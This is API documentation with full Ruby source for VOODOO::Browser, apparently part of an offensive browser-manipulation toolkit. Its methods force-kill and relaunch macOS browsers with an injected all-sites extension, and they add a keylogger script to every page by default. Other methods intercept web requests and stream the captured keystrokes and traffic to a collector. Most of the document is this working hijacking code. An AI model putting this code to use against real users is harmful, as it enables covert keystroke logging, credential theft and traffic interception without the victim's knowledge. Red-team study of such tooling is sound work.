Class: VOODOO::Browser

Inherits:
Object
  • Object
show all
Defined in:
lib/voodoo/browser.rb

Instance Attribute Summary collapse

Class Method Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(bundle: nil, process_name: nil, extension: Extension.new) ⇒ Browser

Returns a new instance of Browser.



11
12
13
14
15
16
17
18
19
# File 'lib/voodoo/browser.rb', line 11

def initialize(bundle: nil, process_name: nil, extension: Extension.new)
    @bundle = bundle
    @extension = extension
    @process_name = process_name
    @collector_threads = []

    @extension.manifest[:permissions] = ['tabs', '*://*/*', 'webRequest']
    @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
end

Instance Attribute Details

#bundleObject

Returns the value of attribute bundle.



8
9
10
# File 'lib/voodoo/browser.rb', line 8

def bundle
  @bundle
end

#extensionObject (readonly)

Returns the value of attribute extension.



7
8
9
# File 'lib/voodoo/browser.rb', line 7

def extension
  @extension
end

#process_nameObject

Returns the value of attribute process_name.



9
10
11
# File 'lib/voodoo/browser.rb', line 9

def process_name
  @process_name
end

Class Method Details

.BraveObject



83
84
85
# File 'lib/voodoo/browser.rb', line 83

def Browser.Brave
    self.new(bundle: 'com.brave.Browser', process_name: 'Brave Browser')
end

.ChromeObject



79
80
81
# File 'lib/voodoo/browser.rb', line 79

def Browser.Chrome
    self.new(bundle: 'com.google.Chrome', process_name: 'Google Chrome')
end

.ChromiumObject



95
96
97
# File 'lib/voodoo/browser.rb', line 95

def Browser.Chromium
    self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
end

.EdgeObject



91
92
93
# File 'lib/voodoo/browser.rb', line 91

def Browser.Edge
    self.new(bundle: 'com.microsoft.edgemac', process_name: 'Microsoft Edge')
end

.OperaObject



87
88
89
# File 'lib/voodoo/browser.rb', line 87

def Browser.Opera
    self.new(bundle: 'com.operasoftware.Opera', process_name: 'Opera')
end

Instance Method Details

#add_permissions(permissions) ⇒ Object



47
48
49
50
# File 'lib/voodoo/browser.rb', line 47

def add_permissions(permissions)
    permissions = [permissions] unless permissions.is_a? Array
    @extension.manifest[:permissions] += permissions
end

#add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true) ⇒ Object



99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
# File 'lib/voodoo/browser.rb', line 99

def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true)
    if matches != nil && background != false
        puts 'WARNING: matches is ignored when background is set to true.'
    end

    if content == nil && file != nil
        content = File.read file
    end

    if content == nil
        raise StandardError.new(':content or :file argument are required')
    end

    event_count = 0

    if block_given? && communication == true
        collector = Collector.new(close_browser: method(:close_browser))
        collector.on_json {|jsond|
            yield jsond
            if (max_events != nil)
                event_count += 1
                if event_count >= max_events.to_i
                    collector.thread.kill
                end
            end
        }
        @collector_threads.push(collector.thread)
        options[:collector_url] = collector.url
    end

    options.keys.each do |key|
        options[(key.to_sym rescue key) || key] = options.delete(key)
    end

    voodoo_js = File.read(File.join(__dir__, 'js/voodoo.js'))
    content = voodoo_js + "\n" + content

    # find variables
    variables = content.scan(/%{[a-z_0-9]+}/i)
    
    for var in variables
        # remove %{}
        var_sym = var[2...(var.length)-1].to_sym
        if !options[var_sym]
            # when option is missing set it to nil
            options[var_sym] = nil
        else
            if !options[var_sym].kind_of? String
                content = content.gsub("\"#{var}\"", var)
                options[var_sym] = JSON.generate(options[var_sym])
            end
        end
    end

    content = content % options
    
    if background == true
        return @extension.add_background_script(content: content)
    else
        if matches == nil
            matches = '*://*/*'
        end
        
        return @extension.add_content_script(matches, js: [content])
    end
end

#close_browserObject



52
53
54
55
56
57
# File 'lib/voodoo/browser.rb', line 52

def close_browser
    # kill the browser process twise, to bypass close warning
    `pkill -a -i "#{@process_name}"`
    `pkill -a -i "#{@process_name}"`
    sleep 0.2
end

#hijack(urls = [], flags: '') ⇒ Object



59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# File 'lib/voodoo/browser.rb', line 59

def hijack(urls = [], flags: '')
    close_browser()

    urls = [urls] unless urls.kind_of? Array
    urls = urls.uniq

    `open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`

    if urls.length > 0
        sleep 0.5
        for url in urls
            `open -b "#{@bundle}" -n -g -j --args #{url}`
        end
    end

    for thread in @collector_threads
        thread.join    
    end
end

#intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil) ⇒ Object



30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# File 'lib/voodoo/browser.rb', line 30

def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
    options = {
        matches: matches,
        url_include: url_include,
        body_include: body_include,
        header_exists: header_exists
    }

    add_script(options: options,
               background: true,
               max_events: max_events,
               file: File.join(__dir__, 'js/intercept.js')
    ) do |event|
        yield event
    end
end

#keylogger(matches: '*://*/*', max_events: nil) ⇒ Object



21
22
23
24
25
26
27
28
# File 'lib/voodoo/browser.rb', line 21

def keylogger(matches: '*://*/*', max_events: nil)
    add_script(matches: matches,
        file: File.join(__dir__, 'js/keylogger.js'),
        max_events: max_events
    ) do |event|
        yield event
    end
end